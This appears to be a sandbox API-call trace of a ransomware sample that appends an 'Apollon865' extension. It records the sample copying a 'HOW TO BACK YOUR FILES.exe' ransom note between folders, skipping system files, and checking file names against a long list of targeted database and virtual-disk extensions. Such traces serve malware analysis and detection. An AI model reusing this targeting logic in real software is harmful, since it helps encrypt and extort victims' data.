	[0061.748] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.748] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1079) returned 1
	[0061.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.748] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.749] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.749] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.749] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x740, lpName=0x0) returned 0x15c
	[0061.751] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x740) returned 0x100000
	[0061.766] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.769] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.769] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.771] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.771] CloseHandle (hObject=0x15c) returned 1
	[0061.771] CloseHandle (hObject=0x14c) returned 1
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.771] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ef60bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.771] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.771] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ef60bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0061.771] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0061.771] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0061.771] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer"
	[0061.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0061.772] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0061.772] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned 58
	[0061.772] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer"
	[0061.773] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.774] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0061.779] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0061.781] GetLastError () returned 0x0
	[0061.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0061.784] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0061.784] CloseHandle (hObject=0x118) returned 1
	[0061.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0061.784] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.784] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f1c21d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f1c21d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.785] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.785] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.785] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.785] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f1c21d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f1c21d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.785] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.785] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.785] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.785] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.785] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2f1c21d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x32b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brndlog.bak.Apollon865", cAlternateFileName="BRNDLO~1.APO")) returned 1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2=".") returned 1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="..") returned 1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="windows") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="bootmgr") returned 1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="temp") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="pagefile.sys") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="boot") returned 1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="ids.txt") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="ntuser.dat") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="perflogs") returned -1
	[0061.785] lstrcmpiW (lpString1="brndlog.bak.Apollon865", lpString2="MSBuild") returned -1
	[0061.785] lstrlenW (lpString="brndlog.bak.Apollon865") returned 22
	[0061.785] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*") returned 60
	[0061.785] lstrcpyW (in: lpString1=0x119e67e, lpString2="brndlog.bak.Apollon865" | out: lpString1="brndlog.bak.Apollon865") returned="brndlog.bak.Apollon865"
	[0061.785] lstrlenW (lpString="brndlog.bak.Apollon865") returned 22
	[0061.785] lstrlenW (lpString="Apollon865") returned 10
	[0061.786] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0061.786] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="Apollon865.txt.exe") returned 1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2=".") returned 1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="..") returned 1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="windows") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="bootmgr") returned 1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="temp") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="pagefile.sys") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="boot") returned 1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="ids.txt") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="ntuser.dat") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="perflogs") returned -1
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2="MSBuild") returned -1
	[0061.786] lstrlenW (lpString="brndlog.txt") returned 11
	[0061.786] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865") returned 81
	[0061.786] lstrcpyW (in: lpString1=0x119e67e, lpString2="brndlog.txt" | out: lpString1="brndlog.txt") returned="brndlog.txt"
	[0061.786] lstrlenW (lpString="brndlog.txt") returned 11
	[0061.786] lstrlenW (lpString="Apollon865") returned 10
	[0061.786] lstrcmpiW (lpString1="rndlog.txt", lpString2="Apollon865") returned 1
	[0061.786] lstrlenW (lpString=".dll") returned 4
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2=".dll") returned 1
	[0061.786] lstrlenW (lpString=".lnk") returned 4
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2=".lnk") returned 1
	[0061.786] lstrlenW (lpString=".ini") returned 4
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2=".ini") returned 1
	[0061.786] lstrlenW (lpString=".sys") returned 4
	[0061.786] lstrcmpiW (lpString1="brndlog.txt", lpString2=".sys") returned 1
	[0061.786] lstrlenW (lpString="brndlog.txt") returned 11
	[0061.786] lstrlenW (lpString="bak") returned 3
	[0061.786] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1
	[0061.786] lstrlenW (lpString="ba_") returned 3
	[0061.786] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1
	[0061.787] lstrlenW (lpString="dbb") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1
	[0061.787] lstrlenW (lpString="vmdk") returned 4
	[0061.787] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1
	[0061.787] lstrlenW (lpString="rar") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1
	[0061.787] lstrlenW (lpString="zip") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1
	[0061.787] lstrlenW (lpString="tgz") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1
	[0061.787] lstrlenW (lpString="vbox") returned 4
	[0061.787] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1
	[0061.787] lstrlenW (lpString="vdi") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1
	[0061.787] lstrlenW (lpString="vhd") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1
	[0061.787] lstrlenW (lpString="vhdx") returned 4
	[0061.787] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1
	[0061.787] lstrlenW (lpString="avhd") returned 4
	[0061.787] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1
	[0061.787] lstrlenW (lpString="db") returned 2
	[0061.787] lstrcmpiW (lpString1="xt", lpString2="db") returned 1
	[0061.787] lstrlenW (lpString="db2") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1
	[0061.787] lstrlenW (lpString="db3") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1
	[0061.787] lstrlenW (lpString="dbf") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1
	[0061.787] lstrlenW (lpString="mdf") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1
	[0061.787] lstrlenW (lpString="mdb") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1
	[0061.787] lstrlenW (lpString="sql") returned 3
	[0061.787] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1
	[0061.787] lstrlenW (lpString="sqlite") returned 6
	[0061.788] lstrcmpiW (lpString1="og.txt", lpString2="sqlite") returned -1
	[0061.788] lstrlenW (lpString="sqlite3") returned 7
	[0061.788] lstrcmpiW (lpString1="log.txt", lpString2="sqlite3") returned -1
	[0061.788] lstrlenW (lpString="sqlitedb") returned 8
	[0061.788] lstrcmpiW (lpString1="dlog.txt", lpString2="sqlitedb") returned -1
	[0061.788] lstrlenW (lpString="xml") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1
	[0061.788] lstrlenW (lpString="$er") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1
	[0061.788] lstrlenW (lpString="4dd") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1
	[0061.788] lstrlenW (lpString="4dl") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1
	[0061.788] lstrlenW (lpString="^^^") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1
	[0061.788] lstrlenW (lpString="abs") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1
	[0061.788] lstrlenW (lpString="abx") returned 3
	[0061.788] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1
	[0061.788] lstrlenW (lpString="accdb") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accdb") returned 1
	[0061.788] lstrlenW (lpString="accdc") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accdc") returned 1
	[0061.788] lstrlenW (lpString="accde") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accde") returned 1
	[0061.788] lstrlenW (lpString="accdr") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accdr") returned 1
	[0061.788] lstrlenW (lpString="accdt") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accdt") returned 1
	[0061.788] lstrlenW (lpString="accdw") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accdw") returned 1
	[0061.788] lstrlenW (lpString="accft") returned 5
	[0061.788] lstrcmpiW (lpString1="g.txt", lpString2="accft") returned 1
	[0061.788] lstrlenW (lpString="adb") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1
	[0061.789] lstrlenW (lpString="adb") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1
	[0061.789] lstrlenW (lpString="ade") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1
	[0061.789] lstrlenW (lpString="adf") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1
	[0061.789] lstrlenW (lpString="adn") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1
	[0061.789] lstrlenW (lpString="adp") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1
	[0061.789] lstrlenW (lpString="alf") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1
	[0061.789] lstrlenW (lpString="ask") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1
	[0061.789] lstrlenW (lpString="btr") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1
	[0061.789] lstrlenW (lpString="cat") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1
	[0061.789] lstrlenW (lpString="cdb") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1
	[0061.789] lstrlenW (lpString="ckp") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1
	[0061.789] lstrlenW (lpString="cma") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1
	[0061.789] lstrlenW (lpString="cpd") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1
	[0061.789] lstrlenW (lpString="dacpac") returned 6
	[0061.789] lstrcmpiW (lpString1="og.txt", lpString2="dacpac") returned 1
	[0061.789] lstrlenW (lpString="dad") returned 3
	[0061.789] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1
	[0061.789] lstrlenW (lpString="dadiagrams") returned 10
	[0061.789] lstrcmpiW (lpString1="rndlog.txt", lpString2="dadiagrams") returned 1
	[0061.789] lstrlenW (lpString="daschema") returned 8
	[0061.789] lstrcmpiW (lpString1="dlog.txt", lpString2="daschema") returned 1
	[0061.790] lstrlenW (lpString="db-journal") returned 10
	[0061.790] lstrcmpiW (lpString1="rndlog.txt", lpString2="db-journal") returned 1
	[0061.790] lstrlenW (lpString="db-shm") returned 6
	[0061.790] lstrcmpiW (lpString1="og.txt", lpString2="db-shm") returned 1
	[0061.790] lstrlenW (lpString="db-wal") returned 6
	[0061.790] lstrcmpiW (lpString1="og.txt", lpString2="db-wal") returned 1
	[0061.790] lstrlenW (lpString="dbc") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1
	[0061.790] lstrlenW (lpString="dbs") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1
	[0061.790] lstrlenW (lpString="dbt") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1
	[0061.790] lstrlenW (lpString="dbv") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1
	[0061.790] lstrlenW (lpString="dbx") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1
	[0061.790] lstrlenW (lpString="dcb") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1
	[0061.790] lstrlenW (lpString="dct") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1
	[0061.790] lstrlenW (lpString="dcx") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1
	[0061.790] lstrlenW (lpString="ddl") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1
	[0061.790] lstrlenW (lpString="dlis") returned 4
	[0061.790] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1
	[0061.790] lstrlenW (lpString="dp1") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1
	[0061.790] lstrlenW (lpString="dqy") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1
	[0061.790] lstrlenW (lpString="dsk") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1
	[0061.790] lstrlenW (lpString="dsn") returned 3
	[0061.790] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1
	[0061.790] lstrlenW (lpString="dtsx") returned 4
	[0061.791] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1
	[0061.791] lstrlenW (lpString="dxl") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1
	[0061.791] lstrlenW (lpString="eco") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1
	[0061.791] lstrlenW (lpString="ecx") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1
	[0061.791] lstrlenW (lpString="edb") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1
	[0061.791] lstrlenW (lpString="epim") returned 4
	[0061.791] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1
	[0061.791] lstrlenW (lpString="fcd") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1
	[0061.791] lstrlenW (lpString="fdb") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1
	[0061.791] lstrlenW (lpString="fic") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1
	[0061.791] lstrlenW (lpString="flexolibrary") returned 12
	[0061.791] lstrlenW (lpString="fm5") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1
	[0061.791] lstrlenW (lpString="fmp") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1
	[0061.791] lstrlenW (lpString="fmp12") returned 5
	[0061.791] lstrcmpiW (lpString1="g.txt", lpString2="fmp12") returned 1
	[0061.791] lstrlenW (lpString="fmpsl") returned 5
	[0061.791] lstrcmpiW (lpString1="g.txt", lpString2="fmpsl") returned 1
	[0061.791] lstrlenW (lpString="fol") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1
	[0061.791] lstrlenW (lpString="fp3") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1
	[0061.791] lstrlenW (lpString="fp4") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1
	[0061.791] lstrlenW (lpString="fp5") returned 3
	[0061.791] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1
	[0061.792] lstrlenW (lpString="fp7") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1
	[0061.792] lstrlenW (lpString="fpt") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1
	[0061.792] lstrlenW (lpString="frm") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1
	[0061.792] lstrlenW (lpString="gdb") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1
	[0061.792] lstrlenW (lpString="gdb") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1
	[0061.792] lstrlenW (lpString="grdb") returned 4
	[0061.792] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1
	[0061.792] lstrlenW (lpString="gwi") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1
	[0061.792] lstrlenW (lpString="hdb") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1
	[0061.792] lstrlenW (lpString="his") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="his") returned 1
	[0061.792] lstrlenW (lpString="ib") returned 2
	[0061.792] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1
	[0061.792] lstrlenW (lpString="idb") returned 3
	[0061.792] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1
	[0061.793] lstrlenW (lpString="ihx") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1
	[0061.793] lstrlenW (lpString="itdb") returned 4
	[0061.793] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1
	[0061.793] lstrlenW (lpString="itw") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1
	[0061.793] lstrlenW (lpString="jet") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1
	[0061.793] lstrlenW (lpString="jtx") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1
	[0061.793] lstrlenW (lpString="kdb") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1
	[0061.793] lstrlenW (lpString="kexi") returned 4
	[0061.793] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1
	[0061.793] lstrlenW (lpString="kexic") returned 5
